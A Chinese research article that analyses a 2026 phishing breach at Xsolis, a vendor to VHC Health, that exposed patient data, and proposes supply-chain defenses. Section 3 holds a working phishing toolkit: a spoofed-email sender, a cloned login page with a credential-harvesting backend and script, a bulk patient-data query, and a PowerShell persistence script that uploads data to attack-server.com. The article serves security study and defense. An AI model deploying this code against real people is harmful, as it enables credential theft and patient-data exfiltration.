第三方供应商钓鱼致医疗数据泄露的风险与防控研究

简介: 本文以2026年VHC Health合作商Xsolis遭钓鱼攻击致患者数据泄露事件为案例,深度剖析医疗供应链钓鱼攻击的全链路技术(邮件伪造、凭证窃取、内网渗透等),揭示其“单点突破、全域牵连”特性;结合代码示例与《医疗卫生机构网络安全管理办法》,提出覆盖技术加固、权限治理、应急响应、跨机构协同、人员培训及行业监管的六维闭环防控体系,为医疗数据安全防护提供可落地实践方案。(239字)

摘要

医疗行业数字化转型过程中,医疗机构普遍依托第三方服务商完成系统运维、数据交互、业务协作等工作,第三方机构由此成为网络攻击的薄弱环节。本文以 2026 年 VHC Health 合作商 Xsolis 遭遇钓鱼攻击引发大规模患者医疗信息泄露事件为核心案例,完整还原攻击发生、发现、处置与善后全流程,剖析医疗领域第三方供应链钓鱼攻击的传播路径、技术手段与危害特征。结合 Python、JavaScript 等代码示例,拆解邮件伪造、凭证窃取、内网横向访问、数据外传等核心攻击技术,梳理此类事件的电子证据留存要点。反网络钓鱼技术专家芦笛强调,医疗供应链钓鱼攻击具备 “单点突破、全域牵连、数据敏感、影响持久” 的特点,仅依靠单一机构防护无法化解风险,必须构建医疗机构、第三方供应商、监管部门协同的全链条防御体系。文章结合《医疗卫生机构网络安全管理办法》等规范,分析当前医疗供应链在人员管理、权限划分、技术防护、应急响应、合作监管等方面存在的短板,从源头管控、技术加固、权限治理、应急处置、行业监管、公众告知六个维度搭建闭环防控方案。研究成果可为各类医疗机构、医疗第三方服务商应对钓鱼攻击、保护患者医疗数据与个人隐私提供实践参考,也为医疗供应链网络安全治理提供理论支撑。

关键词:网络钓鱼;医疗数据泄露;第三方供应商;供应链安全;数据防护;应急响应

image.png 1 引言

1.1 研究背景

电子病历、在线问诊、智慧医疗系统的普及,推动医疗行业全面进入数据化运营阶段。患者诊断记录、身份证信息、社保编号、医保账户、就诊时间等数据高度集中,这类信息兼具隐私性与经济价值,成为网络黑产重点觊觎的目标。现代医疗机构的业务运转不再局限于内部系统,大量运维、数据对接、技术支持等工作由外部第三方供应商承接,医疗机构与第三方之间存在频繁的数据传输、账号共享、系统互通行为,医疗供应链安全问题随之凸显。

网络钓鱼凭借技术门槛低、欺骗性强、攻击链路灵活的优势,成为针对医疗供应链的主流攻击方式。攻击者优先选择安全防护能力相对薄弱的第三方服务商作为突破口,通过钓鱼邮件窃取员工登录凭证,进而入侵服务商业务系统,借助双方数据互通通道,横向渗透至合作医疗机构数据库,批量窃取患者敏感信息。2026 年 1 月 22 日,美国 VHC Health 的合作供应商 Xsolis, Inc. 遭遇定向钓鱼攻击,攻击者非法获取系统访问权限,导致大量患者社保编号、医疗诊断结果、病历编号、就诊记录等核心数据面临泄露风险。该事件直至 4 月 23 日才被 VHC Health 察觉,6 月 5 日机构正式向受影响患者发布风险告知,后续 Xsolis 采取重置账号密码、升级安全策略、聘请外部安全专家、对接执法部门等一系列处置措施,同时为受影响人群提供为期一年的身份监测与隐私保护服务。

这一典型案例暴露出医疗行业第三方供应商普遍存在安全意识不足、技术防护滞后、应急响应迟缓、跨机构风险预警机制缺失等问题。与普通行业数据泄露不同,医疗数据泄露不仅会引发身份冒用、金融诈骗等风险,还可能造成患者隐私被恶意曝光、虚假诊疗信息传播等次生危害。在此背景下,以该案例为切入点,深度剖析医疗供应链钓鱼攻击的运作逻辑、技术细节与风险根源,构建适配医疗行业场景的供应链安全防控体系,具备极强的现实意义与应用价值。

1.2 研究现状

当前国内医疗网络安全研究主要分为两大方向。第一类聚焦医疗机构内部网络与电子病历系统防护,研究内容涵盖医院内网隔离、电子病历加密、终端安全管控、院内员工钓鱼防范等,重点解决医疗机构自身的安全漏洞,但极少关注第三方供应商带来的外部风险,忽略了供应链攻击这一重要入侵渠道。第二类围绕医疗数据合规与法律法规展开,结合《个人信息保护法》《医疗卫生机构网络安全管理办法》等文件,探讨医疗数据分级分类、隐私保护、违规追责等内容,对钓鱼攻击的技术原理、攻击链路拆解不足,合规要求难以转化为可落地的技术防护措施。

海外相关研究较早关注医疗供应链安全问题,欧美网络安全机构持续跟踪针对医疗服务商、医疗软件厂商的钓鱼攻击案例,总结出攻击者偏爱仿冒系统运维通知、账单核对、业务升级等场景制作钓鱼内容。部分研究结合域外判例,分析数据泄露后机构的告知义务、赔偿责任、善后服务标准,但海外医疗体系、网络环境、监管规则与国内存在差异,相关经验无法直接照搬。

综合来看,现有研究存在明显的短板:一是割裂了医疗机构与第三方供应商的安全关联,未将供应链作为整体开展攻防分析;二是技术分析与案例复盘结合度较低,缺少针对医疗场景钓鱼攻击的代码演示、技术原理拆解;三是应急处置、事后善后、跨机构协同防护的方案不够完善。本文以 VHC Health 供应链钓鱼泄露案例为核心,串联攻击技术、风险短板、合规要求、防控方案,弥补现有研究的不足。

1.3 研究内容与研究思路

本文研究内容分为六个核心部分。第一部分梳理 VHC Health 第三方供应商钓鱼攻击事件完整经过,界定医疗供应链钓鱼攻击的定义、形态与主要危害。第二部分拆解该起事件的全攻击链路,结合代码示例解析邮件伪造、凭证窃取、内网访问、数据回传等核心攻击技术,同时标注各环节电子证据留存要点。第三部分结合案例细节,从第三方供应商、医疗机构、行业监管三个层面,剖析医疗供应链存在的安全短板。第四部分针对技术漏洞与管理漏洞,搭建分层技术防护体系,涵盖邮件安全、身份认证、终端加固、数据加密、内网隔离等模块。第五部分完善管理制度、人员培训、权限管控、跨机构协同规则,同时制定标准化应急响应流程与事后善后方案。第六部分总结研究结论,预判医疗供应链钓鱼攻击的演化趋势与治理方向。

研究思路遵循案例复盘→技术拆解→问题剖析→体系构建的逻辑主线。以真实泄露事件为基础,还原攻击全流程,结合代码验证攻击技术原理,客观梳理安全漏洞,再结合国内医疗行业法规与业务场景,兼顾技术可行性、成本适配性、合规要求,形成 “技术 + 管理 + 应急 + 监管” 四位一体的闭环防控体系,确保论据充分、逻辑严谨、方案可落地。

1.4 研究意义

1.4.1 理论意义

本文拓展了网络钓鱼攻击的研究边界,将研究对象从单一机构延伸至医疗供应链整体,明确了第三方供应商作为攻击突破口的风险逻辑,丰富了供应链网络安全的理论体系。同时,将案例复盘、技术原理、法律法规、应急管理相结合,建立 “攻击发生 - 风险扩散 - 处置善后 - 长效防护” 的全流程分析框架,为后续同类医疗供应链安全事件研究提供理论参考。

1.4.2 实践意义

在技术层面,文中的代码示例、攻击技术拆解、证据留存规则,可帮助医疗服务商、医疗机构技术人员识别钓鱼攻击特征,优化安全设备检测规则。在管理层面,针对第三方账号权限、跨机构数据交互、员工安全培训制定的规范,能够填补供应链管理漏洞。在应急与善后层面,参考案例中的告知流程、用户补偿服务、执法对接模式,形成标准化处置模板,提升机构应对数据泄露事件的能力。整体研究成果可直接应用于各级医院、医疗软件服务商、医疗运维企业的安全建设,降低钓鱼攻击引发医疗数据泄露的概率。

2 案例复盘与医疗供应链钓鱼攻击概述

2.1 VHC Health 第三方供应商钓鱼事件完整经过

本次安全事件涉及主体为美国弗吉尼亚州阿灵顿县的 VHC Health 医疗机构及其合作第三方服务商 Xsolis, Inc.,事件发展时间线清晰,可划分为攻击入侵、风险潜伏、事件发现、应急处置、公众告知、长效加固六个阶段。

第一阶段为攻击入侵阶段(2026 年 1 月 22 日)。攻击者向 Xsolis 公司员工发送定向钓鱼邮件,邮件仿冒系统运维、业务核对等正规场景,诱导员工点击恶意链接或执行相关操作,成功窃取员工系统登录账号与密码。凭借窃取的合法凭证,攻击者绕过基础访问控制,入侵 Xsolis 内部业务系统,获取了该公司与 VHC Health 对接的数据通道访问权限。本次入侵行为在当时未被系统监测与人工察觉,攻击活动进入长期潜伏状态。

第二阶段为风险潜伏阶段(2026 年 1 月 23 日 - 4 月 22 日)。攻击者在 Xsolis 系统内静默驻留,遍历业务数据库,批量读取存储的 VHC Health 患者相关数据,涵盖患者社保编号、出生日期、接诊医师、医保机构、医疗诊断结论、病历编号、治疗时间、患者账户编号等高度敏感信息。在此期间,攻击者未实施大规模数据外传、系统破坏等过激行为,进一步规避安全监测,整个潜伏周期长达三个月。根据事后排查结果,自 1 月 22 日入侵当日起,攻击者未再进行新的非法访问操作,但已窃取的数据存在外泄风险。

第三阶段为事件发现阶段(2026 年 4 月 23 日)。VHC Health 在日常跨机构数据对账、系统安全巡检过程中,发现异常数据访问记录,随即对接合作商 Xsolis 开展联合排查,最终确认 Xsolis 系统遭遇钓鱼攻击,患者敏感信息存在泄露隐患。

第四阶段为应急阻断阶段(2026 年 4 月下旬)。Xsolis 第一时间采取应急措施,切断非法访问通道,终止攻击者的系统权限,隔离受入侵的业务模块,防止风险进一步扩散。同时机构聘请外部网络安全专家开展深度溯源与取证工作,并主动向当地执法部门上报安全事件,配合开展调查。

第五阶段为公众告知与善后阶段(2026 年 6 月 5 日起)。VHC Health 正式以纸质邮件的形式向所有潜在受影响患者发布风险通知,明确告知泄露数据类型、潜在诈骗与身份盗用风险,提醒患者提高警惕。Xsolis 同步搭建专属公示网站(xsolisdataincident.com),对外披露事件详情与防护建议。针对受影响人群,机构提供专属核验码,可免费享受为期一年的身份监测与隐私保护服务,同时引导用户定期核对账户账单、查询个人征信报告,发现异常及时联系金融机构。

第六阶段为长效安全加固阶段。事件处置完成后,Xsolis 全面重置公司内部所有员工账号、核心业务账号的密码,升级系统全时段流量与行为监控策略,上线多项全新安全防护机制,从技术与管理层面修补漏洞,避免同类攻击再次发生。

2.2 医疗供应链钓鱼攻击的定义与主要形态

医疗供应链指以医疗机构为核心,包含医疗软件开发商、系统运维商、数据对接服务商、设备供应商、医保合作机构等主体形成的业务协作网络。医疗供应链钓鱼攻击,即攻击者针对供应链中安全防护能力较弱的第三方服务商发起网络钓鱼,窃取账号凭证、入侵业务系统,利用医疗机构与第三方的数据互通、系统互联关系,实现风险横向扩散,最终窃取、篡改医疗数据的复合型网络攻击。结合攻击载体划分,医疗供应链钓鱼主要分为三类形态。

第一类是员工邮件钓鱼,也是本次案例使用的攻击形态。攻击者根据第三方服务商的业务场景,仿冒系统运维通知、账单核对、业务升级、故障报修、客户投诉等内容制作钓鱼邮件,目标直指行政、运维、财务、数据管理等岗位员工。该形态实施成本低、伪装性强,是医疗供应链最主流的攻击手段。

第二类是办公社交工具钓鱼。依托企业微信、钉钉、内部通讯软件,仿冒领导、运维人员、合作方身份,推送恶意文件、钓鱼链接,诱导员工执行操作。此类攻击利用内部社交信任关系,员工警惕性更低,攻击成功率较高。

第三类是附件型钓鱼。将恶意程序伪装成业务报表、患者数据清单、运维日志、合同文件等格式,通过邮件、文件传输工具发送,员工打开附件后触发恶意代码,植入木马、远控程序,实现长期驻留与数据窃取。

2.3 医疗供应链钓鱼攻击的危害

结合本次案例与行业现状,医疗供应链钓鱼攻击的危害呈现多层级扩散特征,影响范围覆盖患者、第三方服务商、医疗机构、整个医疗行业。

对于患者而言,泄露的医疗信息、身份信息会被黑产用于身份冒用、医保诈骗、精准电信诈骗。不法分子可凭借社保编号、诊断记录冒充医护人员实施诈骗,也可利用个人信息办理虚假业务,给患者造成财产损失与隐私侵害。

对于第三方供应商,钓鱼攻击导致数据泄露后,企业需要承担行政处罚、民事赔偿、客户解约等多重损失,企业品牌声誉严重受损,部分中小型医疗服务商甚至会因此停业倒闭。同时,配合执法取证、安全加固、善后服务会产生高额的人力与资金成本。

对于医疗机构,合作商数据泄露会牵连本院患者信息曝光,机构需要投入大量人力开展患者告知、舆情管控、风险排查工作,医患信任度大幅下降。若未履行合作方安全审核、数据防护义务,医疗机构还需依据法律法规承担相应的连带责任。

对于整个医疗行业,大规模供应链钓鱼攻击会破坏医疗数据流转秩序,加剧公众对智慧医疗系统的不信任,阻碍医疗数字化转型进程。同时泄露的海量医疗数据会在黑产中流通,形成持续性的安全隐患。

3 医疗供应链钓鱼全链路攻击技术及代码示例

结合 VHC Health 案例的攻击流程,将整个攻击链路划分为钓鱼邮件投递、凭证窃取、内网系统访问、数据批量窃取、数据潜伏外传五个环节。本节针对各环节核心技术进行拆解,搭配可复现代码示例,所有代码仅用于安全研究、防御测试与技术溯源,严禁用于非法攻击。同时结合案例场景,标注各环节电子证据留存要点,为事件溯源、司法取证提供支撑。

3.1 基于 SMTP 协议的钓鱼邮件伪造技术(攻击入口)

本次攻击以钓鱼邮件为突破口,攻击者利用 SMTP 协议的校验缺陷伪造邮件身份,仿冒正规运维场景制作邮件内容,诱导 Xsolis 员工点击恶意链接。该技术是医疗钓鱼攻击的基础,技术门槛低,应用范围极广。

3.1.1 技术原理

SMTP 协议在邮件发送过程中,仅校验发送服务器的登录权限,不对From(发件人)、Subject(邮件主题)、Reply-To(回复地址)等头部字段进行强校验。攻击者可自主修改头部信息,将发件人伪装为 “系统运维中心”“业务对账专员”“平台技术支持” 等第三方服务商内部常见身份,结合医疗运维场景编写正文,降低员工警惕性。同时攻击者会使用境外匿名 SMTP 服务器发送邮件,隐藏真实 IP,提升溯源难度。

邮件原始源码、SMTP 服务器 IP、邮件路由记录、收发时间是该环节核心电子证据,第三方服务商的邮件系统需完整留存以上数据,留存时长不低于六个月。

3.1.2 代码实现(Python)

使用 Python 内置smtplib和email库,模拟针对医疗第三方服务商的钓鱼邮件伪造与发送过程,还原案例中的攻击入口:

# 医疗供应链钓鱼邮件伪造模拟(安全研究专用)

import smtplib

from email.header import Header

from email.mime.text import MIMEText

from email.utils import formataddr


# 攻击者配置:匿名SMTP服务器及登录账号

attack_smtp = "anon-smtp01.cyber-dark.org"

smtp_port = 25

attack_account = "hacker001@dark-service.net"

attack_pwd = "Test@654321"


# 伪造发件人:仿冒Xsolis内部系统运维部门

fake_name = "Xsolis系统运维部"

fake_mail = "ops@xsolis-inner.com"

fake_sender = formataddr((Header(fake_name, "utf-8").encode(), fake_mail))


# 目标收件人:Xsolis运维岗位员工邮箱

target_staff_mail = "staff_ops@xsolisinc.com"

# 伪造回复地址,拦截员工回复信息

fake_reply = "collect_info@attack-receive.com"


# 钓鱼邮件正文:贴合医疗运维场景,嵌入恶意链接

mail_content = """

尊敬的运维同事:

您好!监测到业务系统出现异常数据访问,现需要您点击下方链接完成账号核验与系统排查。

链接有效期1小时,超时将锁定运维账号,影响与VHC Health的数据对接业务。

核验链接:https://xsolis-check-system.com/login?staff=OP20260122

请尽快完成操作,如有问题可直接回复本邮件。

Xsolis内部运维团队

"""


# 组装邮件主体

msg = MIMEText(mail_content, "plain", "utf-8")

msg["Subject"] = Header("【紧急】业务系统账号安全核验", "utf-8")

msg["From"] = fake_sender

msg["To"] = target_staff_mail

msg["Reply-To"] = fake_reply


# 连接服务器并发送邮件,输出取证关键信息

try:

   conn = smtplib.SMTP(attack_smtp, smtp_port, timeout=15)

   conn.login(attack_account, attack_pwd)

   conn.sendmail(attack_account, target_staff_mail, msg.as_string())

   print("=== 钓鱼邮件发送完成 取证信息记录 ===")

   print(f"匿名SMTP服务器:{attack_smtp}")

   print(f"伪造发件身份:{fake_name}")

   print(f"恶意链接:https://xsolis-check-system.com/login?staff=OP20260122")

   conn.quit()

except Exception as e:

   print(f"邮件发送失败:{str(e)}")

3.1.3 防御与取证要点

防御层面,第三方服务商邮箱必须开启 SPF、DKIM、DMARC 三大邮件身份校验协议,拦截伪造发件人邮件;邮件网关针对 “系统核验、账号锁定、业务故障” 等医疗运维高危主题设置告警规则。取证层面,需导出邮件完整源码,查看Received路由字段,追踪攻击服务器 IP 与传播路径。

3.2 动态钓鱼页面与账号凭证窃取技术(核心入侵环节)

员工点击邮件内恶意链接后,跳转至攻击者搭建的动态仿冒登录页面,该页面完全复刻 Xsolis 内部运维系统登录界面,用于窃取员工账号与密码,这是本次攻击实现权限突破的核心环节。

3.2.1 技术原理

攻击者在链接中嵌入唯一员工编号参数staff,后端服务器解析参数后,动态渲染对应岗位的系统界面,实现 “一人一页面”,规避静态特征检测。页面设置登录表单,员工输入账号密码后,前端 JavaScript 脚本抓取凭证信息,通过异步请求发送至攻击者服务器。无合法参数的访问会被拦截,防止安全人员批量探测。页面源码、URL 参数、表单提交日志是该环节关键证据。

3.2.2 代码实现

(1)后端服务(Flask 实现参数解析与页面分发)

# 医疗运维系统仿冒页面后端(安全研究专用)

from flask import Flask, request, render_template

import time


app = Flask(__name__)


# 模拟攻击者数据库:存储员工编号与对应岗位信息

staff_database = {

   "OP20260122": {"dept": "运维部", "system_name": "Xsolis医疗数据运维系统"}

}


# 路由:接收staff参数,渲染仿冒登录页面

@app.route("/login")

def fake_login():

   # 记录访问日志(取证核心数据)

   visit_ip = request.remote_addr

   visit_time = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())

   staff_id = request.args.get("staff", "")

   print(f"【页面访问日志】IP:{visit_ip} 时间:{visit_time} 员工编号:{staff_id}")


   if staff_id and staff_id in staff_database:

       info = staff_database[staff_id]

       return render_template("fake_system.html", data=info)

   else:

       return ""  # 非法参数返回空白页面


# 路由:接收窃取的账号密码

@app.route("/get_credential", methods=["POST"])

def get_pwd():

   username = request.form.get("username", "")

   password = request.form.get("password", "")

   print(f"【窃取凭证】账号:{username} 密码:{password}")

   return "登录超时,请返回重新操作"


if __name__ == "__main__":

   app.run(host="0.0.0.0", port=80, debug=False)

(2)前端页面(fake_system.html 仿冒登录界面)

<!-- 仿冒医疗运维系统登录页(安全研究专用) -->

<!DOCTYPE html>

<html lang="zh-CN">

<head>

   <meta charset="UTF-8">

   <title>{{data.system_name}}</title>

   <style>

       .login-box {width: 420px; margin: 100px auto; border: 1px solid #ccc; padding: 40px;}

       .title {text-align: center; font-size: 18px; margin-bottom: 30px;}

       .input-item {margin: 20px 0;}

       input {width: 100%; height: 36px; padding: 0 10px; box-sizing: border-box;}

       .login-btn {width: 100%; height: 40px; background: #2c5282; color: #fff; border: none; cursor: pointer;}

   </style>

</head>

<body>

   <div class="login-box">

       <div class="title">{{data.system_name}} - 内部登录</div>

       <div class="input-item">

           <label>员工账号</label>

           <input type="text" id="username" placeholder="请输入工号/账号">

       </div>

       <div class="input-item">

           <label>登录密码</label>

           <input type="password" id="password" placeholder="请输入登录密码">

       </div>

       <button class="login-btn" onclick="stealCredential()">立即登录</button>

   </div>

   <script src="steal_cred.js"></script>

</body>

</html>

(3)前端窃取脚本(steal_cred.js)

javascript

运行

// 账号密码窃取脚本(安全研究专用)

function stealCredential(){

   let user = document.getElementById("username").value.trim();

   let pwd = document.getElementById("password").value.trim();

   if(user === "" || pwd === ""){

       alert("账号和密码不能为空");

       return;

   }

   // 异步提交凭证至攻击者服务器

   let xhr = new XMLHttpRequest();

   xhr.open("POST", "/get_credential", true);

   xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");

   xhr.send("username="+user+"&password="+pwd);

   // 虚假提示,诱导重复操作

   alert("网络异常,请重新尝试登录");

}

3.2.3 防御与取证要点

防御上,部署 Web 应用防火墙(WAF)拦截仿冒域名、携带员工参数的异常链接;内部系统强制启用多因素认证,即便账号密码泄露,攻击者也无法登录。取证时抓取页面源码、脚本代码、表单提交请求,固定凭证窃取的完整证据链。

3.3 内网访问与数据批量窃取技术

攻击者获取合法账号密码后,登录 Xsolis 内部运维系统,利用权限遍历数据库,批量读取与 VHC Health 对接的患者医疗数据。该环节依托内网权限漏洞与数据访问管控缺失实现,也是数据泄露的核心环节。

3.3.1 技术原理

案例中 Xsolis 内部账号权限划分粗放,运维账号具备数据库全量查询、导出权限,且系统未设置异常批量访问告警。攻击者登录后,通过后台脚本直接连接医疗数据库,筛选、读取患者敏感数据,并将数据临时存储在本地服务器,为后续外传做准备。数据库访问日志、数据导出记录、账号登录 IP 是该环节核心证据。

3.3.2 代码模拟(Python 数据库批量读取模拟)

# 医疗数据库批量数据读取模拟(安全研究专用)

import pymysql


# 攻击者利用窃取的账号连接内部医疗数据库

def read_medical_data():

   # 数据库连接配置(内部数据库地址、账号、密码)

   db_conn = pymysql.connect(

       host="192.168.1.100",

       user="ops_staff",

       password="Sta@123456",

       database="vhc_patient_data",

       charset="utf8"

   )

   cursor = db_conn.cursor()

   # 批量查询患者敏感数据

   sql = """SELECT patient_name, ssn, birth_date, diagnose, medical_id

            FROM patient_info LIMIT 1000;"""

   cursor.execute(sql)

   result = cursor.fetchall()

   # 打印窃取的数据(模拟数据留存)

   for data in result:

       print(f"患者信息:{data}")

   cursor.close()

   db_conn.close()


if __name__ == "__main__":

   read_medical_data()

3.3.3 防御与取证要点

防御层面,严格落实最小权限原则,拆分数据库访问权限,运维账号仅保留必要查询权限,禁止批量导出数据;部署数据防泄漏(DLP)系统,对单次查询超过 50 条患者数据的行为实时告警并拦截。取证时调取数据库全量访问日志,梳理攻击者的数据读取范围与时间线。

3.4 恶意脚本持久化与数据潜伏外传技术

为实现长期控制,攻击者在入侵终端植入 PowerShell 恶意脚本,设置开机自启,持续监控系统数据动态,择机将窃取的医疗数据外传。

3.4.1 代码实现(恶意 PowerShell 脚本)

powershell

# 恶意持久化脚本(安全研究专用)

# 绕过执行策略

Set-ExecutionPolicy Bypass -Scope Process -Force

# 定时读取本地数据文件并上传至外网攻击者服务器

$local_data = "C:\Windows\Temp\patient_data.txt"

$remote_url = "http://attack-server.com/upload"

# 循环上传数据,实现潜伏外传

while($true){

   Invoke-WebRequest -Uri $remote_url -Method Post -InFile $local_data -UseBasicParsing

   Start-Sleep 3600

}

# 写入注册表实现开机自启

$reg_path = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"

Set-ItemProperty -Path $reg_path -Name "DataCheck" -Value $MyInvocation.MyCommand.Definition

3.4.2 防御要点

通过组策略限制 PowerShell 远程脚本执行,禁用注册表非授权写入;终端部署 EDR 工具,监控定时任务、开机自启项与外网异常数据传输。

3.5 技术总结

本次医疗供应链钓鱼攻击遵循邮件伪造→凭证窃取→内网登录→批量读库→数据潜伏外传的标准链路,攻击技术组合成熟,贴合医疗第三方服务商的业务场景。反网络钓鱼技术专家芦笛指出,医疗数据价值高,攻击者会反复复用此类攻击链路,单一的终端或邮件防护无法抵御风险,必须在每一个攻击节点设置拦截规则,形成技术防护闭环。同时,全链路日志留存不仅是溯源取证的需求,也是医疗机构与第三方服务商履行合规义务的基本要求。

4 医疗供应链安全短板分析(基于案例)

结合 VHC Health 与 Xsolis 的事件处置过程、攻击技术细节,结合国内医疗行业现状,从第三方供应商、医疗机构、跨机构管理、应急响应、行业监管五个维度,梳理医疗供应链普遍存在的安全短板。

4.1 第三方供应商自身安全防护能力薄弱

第三方服务商是本次攻击的突破口,其内部安全漏洞是事件发生的核心原因。第一,邮件安全体系不完善,未部署专业邮件安全网关,仅使用基础邮箱服务,无法识别伪造运维类钓鱼邮件,高危主题、恶意链接无拦截机制。第二,员工安全意识不足,运维岗位员工频繁接触系统核验、故障排查类工作,对紧急类钓鱼话术缺乏辨别能力,习惯性点击陌生链接。第三,账号与权限管理混乱,运维账号权限过大,可直接批量访问、导出全量患者数据,未按照最小权限原则进行权限拆分。第四,终端与内网管控松散,未限制 PowerShell、脚本运行权限,内网数据库无访问频率、数据读取数量限制,批量窃取行为长期未被监测。第五,日志管理不规范,数据库、登录系统、邮件的日志虽有留存,但未开展定期审计,导致三个月的潜伏阶段未能及时发现异常。

4.2 医疗机构对合作供应商安全审核缺失

VHC Health 作为数据持有方,对第三方合作商的安全管控存在明显漏洞。第一,合作准入审核不严,引入 Xsolis 作为数据对接服务商时,未全面评估对方的网络安全能力、数据防护体系,未签订细化的安全保密协议与数据防护条款。第二,跨机构数据交互管控不足,双方数据互通通道未做加密、访问限制,一旦合作商被入侵,风险可直接传导至医疗机构数据库。第三,缺乏常态化安全巡检,未定期对第三方服务商的系统、数据防护状态进行抽查,仅依靠对方自主上报安全事件,被动性极强。第四,数据脱敏不到位,传输至第三方的患者敏感数据(社保编号、诊断记录等)未做脱敏处理,原始明文数据大幅提升泄露危害。

4.3 跨机构协同机制不完善

医疗机构与第三方服务商之间缺少安全预警、联动处置机制。一是无实时风险互通渠道,Xsolis 遭遇入侵后无法第一时间同步风险至 VHC Health,导致双方都错失早期阻断风险的时机。二是联合应急流程缺失,事件曝光后,双方临时组建排查团队,分工混乱,延缓了风险隔离进度。三是缺少统一的安全标准,双方的日志留存、病毒库更新、漏洞修复时间标准不一致,形成防护洼地。

4.4 应急响应与事后处置能力不足

本次事件从攻击发生到正式告知患者,间隔近五个月,暴露出应急响应的严重滞后。第一,内部安全监测能力弱,第三方服务商无 7×24 小时安全态势感知平台,异常登录、批量数据读取行为无法实时告警。第二,事件排查流程繁琐,发现异常后,耗费大量时间定位入侵源头、梳理泄露数据范围。第三,前期风险告知不及时,未按照合规要求在最短时间内告知受影响用户,存在隐私保护合规风险。第四,善后服务体系不完善,虽为患者提供身份监测服务,但未建立长期跟踪机制,无法持续跟进诈骗、身份冒用等次生风险。

4.5 行业监管与合规落地不到位

结合国内《医疗卫生机构网络安全管理办法》要求来看,医疗供应链的合规落地存在短板。第一,针对医疗第三方服务商的专项监管规则不足,现有规范多聚焦医疗机构本身,对上下游供应商的约束力度较弱。第二,常态化安全检查覆盖不全,监管部门重点抽查大型医院,中小型医疗运维、软件服务商成为监管盲区。第三,数据流转监管薄弱,跨机构医疗数据传输、共享的全流程监管缺失,数据流向难以追溯。

5 医疗供应链钓鱼攻击闭环防控体系构建

结合上述安全短板,秉持源头防入侵、链路防扩散、终端防窃取、管理补漏洞、应急降损失、监管强约束的思路,构建适配医疗供应链的综合防控体系,区分第三方供应商、医疗机构、行业监管三方主体,制定分层落地措施。

5.1 第三方供应商内部全维度技术加固

第三方作为攻击首要目标,需完成邮件、身份认证、内网、数据库、终端的全链路技术加固。

5.1.1 邮件系统安全升级

全面启用 SPF、DKIM、DMARC 协议,拦截伪造邮件;部署邮件安全网关与沙箱,对运维通知、账号核验、账单核对等高频钓鱼主题邮件重点检测,加密附件、可执行文件强制沙箱运行。设置邮件流量监控,短时间内批量外发的邮件自动告警。

5.1.2 身份认证与权限管控

所有内部系统、数据库账号一人一号,禁止账号共用;全面启用多因素认证,结合动态令牌、人脸核验提升登录门槛。严格执行最小权限原则,拆分运维、数据、财务等岗位权限,运维账号仅拥有故障排查权限,无数据导出权限;数据库设置访问阈值,单账号单次读取数据不得超过规定数量,超出立即拦截并告警。

5.1.3 内网与数据库防护

内网划分安全区域,办公区、运维区、数据库区横向隔离,设置访问白名单,禁止跨区域无序访问。医疗数据库采用字段级加密存储,患者社保编号、诊断记录等敏感字段全程加密;部署数据库防火墙与 DLP 系统,监控批量查询、数据导出、外网传输等高危行为。

5.1.4 终端安全加固

所有办公终端、运维终端统一安装 EDR 与正版杀毒软件,病毒库自动每日更新。通过组策略禁用 Office 宏、高危 PowerShell 远程执行功能,回收普通员工终端管理员权限。关闭不必要的远程服务与共享服务,防止木马横向渗透。

5.1.5 日志审计体系建设

统一收集邮件、登录、数据库、上网行为日志,日志留存时长不少于 6 个月。设置自动化审计规则,针对异地登录、凌晨批量访问数据、高频导出文件等异常行为自动生成告警,安全人员每日巡检日志。

5.2 医疗机构对第三方供应商的全流程管理

医疗机构作为医疗数据权属方,需强化对合作供应链的全生命周期管理,从准入、运维、退出三个阶段把控风险。

5.2.1 合作准入安全审核

引入第三方服务商前,开展网络安全能力评估,核查对方防护设备、制度、人员配置。签订正式的数据安全保密协议,明确双方数据防护责任、泄露追责条款、应急联动要求。拒绝安全能力不达标、拒绝签署保密协议的合作方。

5.2.2 数据交互安全管控

医疗机构对外传输的患者数据强制脱敏,隐去社保编号、身份证号、详细诊断等敏感信息,仅传输业务必需内容。双方数据互通通道采用加密专线、VPN 搭建,设置 IP 白名单,仅允许双方固定服务器进行数据交互。

5.2.3 常态化巡检与考核

每季度对合作第三方开展安全抽查,核查漏洞修复、日志审计、员工培训落实情况。将安全考核结果与合作续约挂钩,多次整改不到位的服务商终止合作。

5.2.4 独立风险监测

医疗机构搭建独立的跨机构数据流量监测模块,实时监控流向第三方的数据体量、访问频次,发现异常流量第一时间阻断并对接对方排查。

5.3 跨机构协同机制建设

建立医疗机构与第三方供应商的安全联动机制。一是搭建专属安全沟通通道,双方指定专职安全联系人,7×24 小时响应风险预警。二是制定联合应急预案,明确入侵、数据泄露等场景下的分工、处置流程、上报路径。三是统一安全标准,双方同步漏洞修复周期、病毒库更新频率、日志规则,消除防护洼地。四是定期开展联合钓鱼演练,模拟攻击场景检验双方识别、处置能力。

5.4 标准化应急响应与事后善后体系

参考 VHC Health 案例的处置经验,结合国内法规,制定标准化应急、告知、善后流程。

5.4.1 分级应急处置

将事件划分为三级:一级(单终端收到钓鱼邮件,未执行操作)、二级(点击链接 / 打开附件,疑似账号泄露)、三级(系统被入侵、数据疑似泄露)。不同等级执行对应的隔离、排查、阻断操作,三级事件立即上报监管部门与执法机关。

5.4.2 合规化公众告知

确认数据泄露后,在法规要求时限内,通过官网、短信、纸质通知等多渠道告知受影响人群,明确泄露数据类型、风险、防护建议。告知内容客观准确,不隐瞒风险,避免引发公众恐慌。

5.4.3 长效善后服务

为受影响用户提供免费身份监测、征信查询、隐私保护服务,服务周期不少于一年。设立专属咨询通道,解答用户疑问,持续跟踪次生诈骗风险,定期发布风险提示。

5.4.4 事后复盘与漏洞修复

事件处置完成后,双方联合开展复盘,定位攻击成功的具体漏洞,全面升级防护策略,优化制度与流程,杜绝同类攻击复发。

5.5 人员安全培训体系(全供应链覆盖)

反网络钓鱼技术专家芦笛强调,医疗供应链钓鱼攻击高度依赖社会工程学,员工安全意识是最后一道防线,培训必须覆盖供应链所有岗位。

针对第三方服务商员工,按岗位开展专项培训:运维岗位重点培训系统核验、故障类钓鱼邮件识别;数据岗位重点培训数据外传风险、批量操作规范。每季度开展一次模拟钓鱼演练,对多次中招员工进行约谈与再培训。

针对医疗机构员工,培训重点为跨机构文件、链接、邮件的安全核验流程,禁止随意打开第三方发送的陌生文件。将网络安全操作规范纳入员工绩效考核。

